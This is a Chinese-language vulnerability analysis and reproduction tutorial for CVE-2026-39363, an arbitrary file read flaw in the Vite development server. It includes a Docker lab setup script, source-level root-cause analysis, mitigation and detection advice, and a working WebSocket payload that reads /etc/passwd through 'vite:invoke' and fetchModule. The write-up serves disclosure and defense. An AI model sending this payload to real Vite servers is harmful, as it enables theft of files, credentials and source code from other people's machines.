CVE-2026-39363:Vite开发服务器任意文件读取漏洞分析复现
字数 3358
更新时间 2026-04-15 12:29:18
CVE-2026-39363:Vite开发服务器任意文件读取漏洞分析及复现教程
1. 漏洞概述
CVE-2026-39363是一个影响Vite开发服务器的安全漏洞,允许攻击者在特定条件下读取服务器上的任意文件内容。
受影响版本:
- Vite 6.0.0 至 6.4.2之前的版本
- Vite 7.3.2之前的版本
- Vite 8.0.5之前的版本
已修复版本:
- Vite 6.4.2
- Vite 7.3.2
- Vite 8.0.5
2. 漏洞技术原理
2.1 漏洞产生条件
当攻击者能够以不带Origin请求头的方式连接到Vite开发服务器的WebSocket时,即可触发此漏洞。
2.2 攻击流程
- 权限绕过:通过构造不带Origin头的WebSocket连接,绕过Vite的身份验证机制
- RPC调用:通过WebSocket发送自定义事件
vite:invoke调用fetchModule函数 - 文件路径构造:使用
file://协议结合?raw(或?inline)参数指定目标文件 - 文件内容获取:漏洞利用成功时,服务器将以JavaScript字符串的形式(如
export default "文件内容...")返回文件内容
2.3 关键安全缺陷
- 访问控制缺失:HTTP请求路径中强制执行的访问控制(如
server.fs.allow)不适用于WebSocket执行路径 - 身份验证绕过:浏览器发起的请求会携带Origin头,需要Token验证;而非浏览器请求(不带Origin)可直接连接,无需Token
- 逻辑检查跳过:通过特定参数组合,绕过了
isServerAccessDeniedForTransform等安全检查
3. 环境搭建步骤
3.1 自动化搭建脚本
创建一个名为setup.sh的脚本文件,包含以下内容:
#!/bin/bash
echo "[*] 阶段 1/4:检查并安装基础依赖..."
if ! command -v docker &> /dev/null || ! command -v curl &> /dev/null; then
echo "[+] 检测到缺少依赖,正在尝试安装 docker.io 和 curl..."
apt update && apt install -y docker.io curl
fi
echo "[*] 阶段 2/4:创建 Vite 漏洞复现工作目录..."
mkdir -p vite-cve-2026-39363 && cd vite-cve-2026-39363 || { echo "[x] 创建目录失败"; exit 1; }
echo "[+] 工作目录: $(pwd)"
echo "[*] 阶段 3/4:生成项目文件 (package.json, index.html, Dockerfile)..."
# 1. 生成 package.json
cat > package.json <<'EOF'
{
"name": "vite-cve-2026-39363",
"version": "1.0.0",
"description": "PoC environment for CVE-2026-39363 (Vite 8.0.4)",
"scripts": {
"dev": "vite --host"
},
"devDependencies": {
"vite": "8.0.4"
}
}
EOF
# 2. 生成 index.html
cat > index.html <<'EOF'
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Vite CVE-2026-39363 PoC</title>
</head>
<body>
<h1>Vite CVE-2026-39363 (Arbitrary File Read) PoC</h1>
<p>This environment runs Vite 8.0.4, which is vulnerable to CVE-2026-39363.</p>
<p>Server is running on <span id="port">5173</span></p>
</body>
</html>
EOF
# 3. 生成 Dockerfile
cat > Dockerfile <<'EOF'
FROM node:20-bullseye
WORKDIR /app
COPY package.json index.html ./
RUN npm install
EXPOSE 5173
CMD ["npm", "run", "dev"]
EOF
echo "[*] 阶段 4/4:构建 Docker 镜像并启动容器..."
docker build -t vite-poc:8.0.4 . && \
docker run -d -p 5173:5173 --name vite-cve-2026-39363-container vite-poc:8.0.4
echo "=============================================="
echo " Vite CVE-2026-39363 漏洞环境部署完成!"
echo " - 访问地址: http://localhost:5173"
echo " - 容器名称: vite-cve-2026-39363-container"
echo " - 漏洞版本: Vite 8.0.4"
echo ""
echo " - 验证步骤:"
echo " 1. 打开浏览器访问 http://localhost:5173"
echo " 2. 参考:https://github.com/Kai-One001/cve-/blob/main/Vite_Read_file_cve_2026_39363.md"
echo "=============================================="
3.2 执行步骤
- 赋予脚本执行权限:
chmod +x setup.sh - 运行脚本:
./setup.sh - 等待Docker镜像构建和容器启动完成
4. 漏洞复现操作指南
4.1 WebSocket连接建立
- 使用Burp Suite等代理工具拦截流量
- 访问
http://localhost:5173建立WebSocket连接 - 在Burp的Proxy -> WebSocket history中查看WebSocket通信
4.2 漏洞利用Payload
- 找到Direction为"TO server"的WebSocket消息
- 右键发送至Repeater模块
- 修改请求为以下Payload:
{
"type": "custom",
"event": "vite:invoke",
"data": {
"name": "fetchModule",
"id": "send:1",
"data": ["file:///etc/passwd?raw"]
}
}
4.3 攻击执行
- 点击Send按钮发送构造的WebSocket消息
- 查看响应,在Pretty视图中会看到类似以下内容:
export default "root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\n..."
5. 漏洞深度分析
5.1 权限绕过原理
入口点:packages/vite/src/node/server/ws.ts中的shouldHandle()函数
if (req.headers.origin) {
// 如果有Origin,就检查Token
return hasValidToken(config, parsedUrl);
}
// 允许非浏览器请求在没有Token的情况下连接
return true;
安全逻辑缺陷:
- 浏览器请求:自动携带Origin头 → 需要Token验证
- 非浏览器请求:不带Origin头 → 直接允许连接 → 权限绕过
5.2 WebSocket消息处理机制
在wss.on('connection')回调中:
wss.on('connection', (socket) => {
socket.on('message', (raw) => {
// 1. 解析消息
let parsed: any
try {
parsed = JSON.parse(String(raw))
} catch {}
// 2. 检查是否为自定义事件
if (!parsed || parsed.type !== 'custom' || !parsed.event) return
// 3. 检查监听器
const listeners = customListeners.get(parsed.event)
if (!listeners?.size) return
// 4. 获取客户端包装
const client = getSocketClient(socket)
// 5. 执行回调(关键:无沙箱环境)
listeners.forEach((listener) => listener(parsed.data, client, parsed.invoke))
})
// ...
})
5.3 vite:invoke事件处理器
HMR热更新模块注册了vite:invoke事件的专门处理器:
channel.on?.('vite:invoke', listenerForInvokeHandler)
listenerForInvokeHandler函数实现:
listenerForInvokeHandler = async (payload, client) => {
const responseInvoke = payload.id.replace('send', 'response')
client.send({
type: 'custom',
event: 'vite:invoke',
data: {
name: payload.name, // 攻击者可控
id: responseInvoke,
data: (await handleInvoke({ /* payload */ }))! // 直接执行
}
})
}
5.4 函数调用处理流程
在handleInvoke函数中:
try {
const invokeHandler = invokeHandlers[name]
// @ts-expect-error `invokeHandler` is `InvokeMethods[T]`, so passing the args is fine
const result = await invokeHandler(...args)
return { result }
} catch (error) {
return {
error: {
name: error.name,
message: error.message,
stack: error.stack,
...error,
},
}
}
安全问题:
payload.name只要存在于invokeHandlers中就能被执行- 完全没有访问控制检查
- 不验证调用者权限
- 不检查
fetchModule是否为高危操作
5.5 fetchModule处理程序绑定
this.hot.setInvokeHandler({
// 定义名为'fetchModule'的处理句柄
fetchModule: (id, importer, options) => {
// 直接调用当前环境实例的fetchModule方法
return this.fetchModule(id, importer, options)
},
// ...
})
安全缺陷:简单地将参数传递给内部核心方法,无额外安全检查。
5.6 文件访问安全检查绕过
正常HTTP请求的防护机制:
- 通过
isServerAccessDeniedForTransform函数检查 - 对包含
?raw、?inline等后缀的URL,必须通过checkLoadingAccess校验 - 校验
server.fs.allow白名单
allowId(id) {
return id[0] === '\0' || !isServerAccessDeniedForTransform(server.config, id)
}
攻击路径绕过机制:
-
正常流程:
pluginContainer.load(id)返回null- 触发
transformRequest的fs.readFile - 触发
isFileLoadingAllowed检查
-
攻击流程:
- URL带有
?raw参数 pluginContainer.load(id)命中assetPluginassetPlugin直接读取文件,完全无视server.fs.allow
- URL带有
// asset.ts
if (rawRE.test(id)) {
const file = checkPublicFile(id, config) || cleanUrl(id)
// 致命点:直接读取文件,完全无视server.fs.allow
return { code: `export default ${JSON.stringify(await fsp.readFile(file, 'utf-8'))}` }
}
根本原因:
- 插件直接返回文件内容
transformRequest的检查根本没有机会执行- 没有传入
options.allowId,防御逻辑被跳过
// transformRequest.ts
if (options.allowId && !options.allowId(id)) {
// 这段代码永远不会执行,因为options.allowId是undefined
throw new Error(`Denied ID ${id}`)
}
6. 漏洞修复方案
6.1 官方修复版本
- Vite 6.x:升级到6.4.2或更高版本
- Vite 7.x:升级到7.3.2或更高版本
- Vite 8.x:升级到8.0.5或更高版本
6.2 临时缓解措施
-
网络层防护:
- 限制Vite开发服务器的访问范围
- 仅允许受信任的网络连接
- 在生产环境中禁用开发服务器
-
配置强化:
- 严格配置
server.fs.allow白名单 - 避免在开发服务器上存储敏感文件
- 使用独立的开发环境,与生产环境隔离
- 严格配置
-
监控措施:
- 监控异常的WebSocket连接
- 记录所有文件访问请求
- 设置文件访问告警阈值
7. 漏洞影响评估
7.1 影响范围
- 直接风险:攻击者可读取服务器任意文件
- 潜在风险:配置信息泄露、源码泄露、密钥泄露
- 攻击前提:需能够连接到开发服务器的WebSocket端点
7.2 利用条件
- 目标运行Vite开发服务器
- 攻击者能够访问服务器的网络
- 服务器运行在受影响版本范围内
- 能够构造不带Origin头的WebSocket请求
7.3 威胁场景
- 开发环境泄露:开发机上的敏感配置、API密钥泄露
- 源码窃取:未发布的商业代码被窃取
- 凭证泄露:数据库密码、SSH密钥等敏感信息泄露
- 横向移动:获取内网其他系统的访问凭证
8. 安全开发建议
8.1 Vite开发服务器安全配置
// vite.config.js
export default defineConfig({
server: {
fs: {
// 严格限制允许访问的目录
allow: [process.cwd(), '/some/safe/path'],
// 禁止访问敏感目录
deny: ['.env', '.git', 'node_modules']
},
// 启用严格的来源检查
origin: 'http://localhost:5173',
// 限制主机访问
host: 'localhost'
}
})
8.2 WebSocket安全增强
- 强制身份验证:所有WebSocket连接都必须验证Token
- 来源验证:严格验证Origin头,不允许空Origin
- 访问控制:在RPC层实现细粒度访问控制
- 操作审计:记录所有WebSocket远程调用
8.3 开发环境安全实践
- 最小权限原则:开发服务器以最低必要权限运行
- 环境隔离:开发、测试、生产环境完全隔离
- 敏感信息保护:不在开发环境中存储生产凭据
- 定期更新:及时更新所有开发工具和安全补丁
- 网络隔离:开发服务器不应暴露在公共网络
9. 检测与响应
9.1 漏洞检测方法
- 版本检查:确认Vite版本是否在受影响范围
- 连接测试:尝试建立不带Origin头的WebSocket连接
- 功能验证:测试
file://协议的文件读取能力 - 配置审计:检查
server.fs.allow配置是否过于宽松
9.2 应急响应步骤
- 立即隔离:隔离受影响的开发服务器
- 版本升级:升级到已修复的安全版本
- 凭证轮换:更换所有可能泄露的密钥和凭证
- 日志分析:审查WebSocket连接日志,检测攻击痕迹
- 漏洞修补:应用安全补丁或配置修复
- 安全测试:重新测试确保漏洞已修复
10. 总结
CVE-2026-39363暴露了Vite开发服务器在WebSocket身份验证和文件访问控制方面的严重缺陷。漏洞的根本原因在于:
- 身份验证绕过:不带Origin头的连接可跳过Token验证
- 缺乏RPC访问控制:WebSocket的RPC调用无权限检查
- 安全检查机制被绕过:特定参数组合导致文件读取安全检查被跳过
此漏洞强调了在开发工具中实施纵深防御的重要性,特别是在处理文件系统和网络通信时,应在多个层面实施安全检查,避免单点安全失效导致整个系统被攻破。
相似文章
相似文章